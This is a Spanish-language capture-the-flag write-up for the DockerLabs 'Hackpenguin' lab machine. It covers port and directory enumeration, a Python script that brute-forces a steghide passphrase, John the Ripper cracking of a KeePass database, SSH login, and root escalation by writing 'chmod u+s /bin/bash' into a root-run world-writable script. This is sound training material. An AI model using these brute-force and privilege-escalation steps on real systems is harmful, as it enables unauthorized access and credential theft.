Hackpenguin DockerLabs (Intermediate)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip hackpenguin.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh hackpenguin.tar
Info:
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-20 11:16 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 fa:13:95:24:c7:08:e8:36:51:6d:ab:b2:e5:3e:3b:da (ECDSA)
|_ 256 e2:f3:81:1f:7d:d0:ea:ed:e0:c6:38:11:ed:95:3a:38 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.62 seconds
Si entramos en el puerto 80
nos encontramos una pagina normal de apache2, pero si fuzzeamos de forma mas profunda.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html (Status: 403) [Size: 275]
/.htpasswd.php (Status: 403) [Size: 275]
/.htaccess (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/.htpasswd.html (Status: 403) [Size: 275]
/.htpasswd.txt (Status: 403) [Size: 275]
/.htaccess.php (Status: 403) [Size: 275]
/.htaccess.txt (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 10671]
/penguin.html (Status: 200) [Size: 342]
/server-status (Status: 403) [Size: 275]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
Vemos una pagina llamada /penguin.html
que si entramos dentro veremos una pagina con una foto de pinguinos, diciendo que no hay nada interesante en esa pagina.
ForceBrute Steghide
Pero si nos descargamos esa imagen y le hacemos steghide
veremso que nos pide un salvoconducto, por lo que haremos fuerza bruta creando un script.
forcebrute.py
import subprocess
def test_password(image_path, password, output_file):
""" Intenta extraer un archivo oculto usando Steghide con la contraseña dada. """
command = [
'steghide', 'extract', '-sf', image_path, '-p', password, '-xf', output_file
]
result = subprocess.run(command, capture_output=True, text=True)
return result.returncode == 0
def brute_force(image_path, dictionary_file, output_file):
""" Realiza un ataque de fuerza bruta usando una lista de contraseñas. """
with open(dictionary_file, 'r') as file:
for line in file:
password = line.strip()
print(f"Probando contraseña: {password}")
if test_password(image_path, password, output_file):
print(f"¡Contraseña encontrada! Es: {password}")
return password
print("No se encontró la contraseña en el diccionario.")
return None
if __name__ == "__main__":
imagen = "penguin.jpg" # Archivo de imagen con datos ocultos
diccionario = "/usr/share/wordlists/rockyou.txt" # Archivo de diccionario con posibles contraseñas
archivo_extraido = "archivo_extraido.txt" # Archivo donde se extraerá el contenido
brute_force(imagen, diccionario, archivo_extraido)
python3 forcebrute.py
Info:
Probando contraseña: 123456
Probando contraseña: 12345
Probando contraseña: 123456789
Probando contraseña: password
Probando contraseña: iloveyou
Probando contraseña: princess
Probando contraseña: 1234567
Probando contraseña: rockyou
Probando contraseña: 12345678
Probando contraseña: abc123
Probando contraseña: nicole
Probando contraseña: daniel
Probando contraseña: babygirl
Probando contraseña: monkey
Probando contraseña: lovely
Probando contraseña: jessica
Probando contraseña: 654321
Probando contraseña: michael
Probando contraseña: ashley
Probando contraseña: qwerty
Probando contraseña: 111111
Probando contraseña: iloveu
Probando contraseña: 000000
Probando contraseña: michelle
Probando contraseña: tigger
Probando contraseña: sunshine
Probando contraseña: chocolate
¡Contraseña encontrada! Es: chocolate
Por lo que la contraseña es chocolate
.
Steghide
steghide extract -sf penguin.jpg
Info:
wrote extracted data to "penguin.kdbx".
Vemos que nos a extraido un archivo llamado penguin.kdbx
, que es un gestor de contraseñas de KeePassCX
.
Si instalamos keepassxc
y lo iniciamos de la siguiente forma.
keepassxc
Nos aparecera un entorno grafico del gestor, seleccionamos la base de datos que es el archivo, pero nos pedira contraseña para desbloquearlo, por lo que haremos fuerza bruta.
Keepass
keepass2john penguin.kdbx > hash_keep
john --wordlist=<WORDLIST> hash_keep
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password1 (penguin)
1g 0:00:00:00 DONE (2024-08-20 11:36) 4.761g/s 304.7p/s 304.7c/s 304.7C/s 123456..charlie
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Por lo que vemso obtenemos la contarseña, asi que ahora la meteremos en el keepassxc
y lo haremos desbloqueado, veremos las credenciales:

Pero el usuario sera penguin
, por lo que nos conectaremos por ssh.
SSH
ssh penguin@<IP>
Metemos la contraseña y ya estariamos dentro.
Privilege Escalation
Si listamos los archivos que hay.
drwxrwxrwx 1 root root 4096 Aug 20 15:49 .
drwxr-xr-x 1 root root 4096 Apr 15 07:22 ..
drwx------ 2 penguin hackpenguin 4096 Aug 20 15:39 .cache
drwxr-xr-x 3 penguin hackpenguin 4096 Aug 20 15:48 .local
-rwxrwxrwx 1 root root 22 Aug 20 15:47 archivo.txt
-rwxrwxrwx 1 root root 32 Aug 20 15:49 script.sh
Vemos que 2 archivos son de root
pero los podemos editar y si ahora vamos a ver los procesos.
ps -aux
Info:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 29.1 0.0 2892 1920 ? Ss 15:15 10:04 /bin/sh -c service apache2 start && service ssh start && while true; do /bin/bash /home/hackpenguin/script.sh; done
root 25 0.1 0.0 6780 4580 ? Ss 15:15 0:03 /usr/sbin/apache2 -k start
www-data 26 4.3 0.0 1933812 7540 ? Sl 15:15 1:29 /usr/sbin/apache2 -k start
www-data 27 4.1 0.0 1999332 7524 ? Sl 15:15 1:27 /usr/sbin/apache2 -k start
root 92 0.0 0.0 15436 5588 ? Ss 15:15 0:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
root 766251 0.0 0.1 16732 10676 ? Ss 15:39 0:00 sshd: penguin [priv]
penguin 766862 0.1 0.0 16992 7656 ? D 15:39 0:00 sshd: penguin@pts/0
penguin 766874 0.0 0.0 2892 1536 pts/0 Ss 15:39 0:00 -sh
penguin 768265 0.0 0.0 5052 3840 pts/0 S 15:39 0:00 /bin/bash
Vemos que root
esta ejecutando el script.sh
(root 1 29.1 0.0 2892 1920 ? Ss 15:15 10:04 /bin/sh -c service apache2 start && service ssh start && while true; do /bin/bash /home/hackpenguin/script.sh; done
) por lo que haremos lo siguiente.
nano script.sh
#Dentro del nano
#!/bin/bash
chmod u+s /bin/bash
Lo guardamos y esperaremos a que lo ejeucte root
, cuando lo haya hecho si vemos lo siguiente.
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
Vemos que funciono y ya podremos ser root
de la siguiente forma.
bash -p
Y con esto ya seremos root
, por lo que habriamos terminado la maquina.
Last updated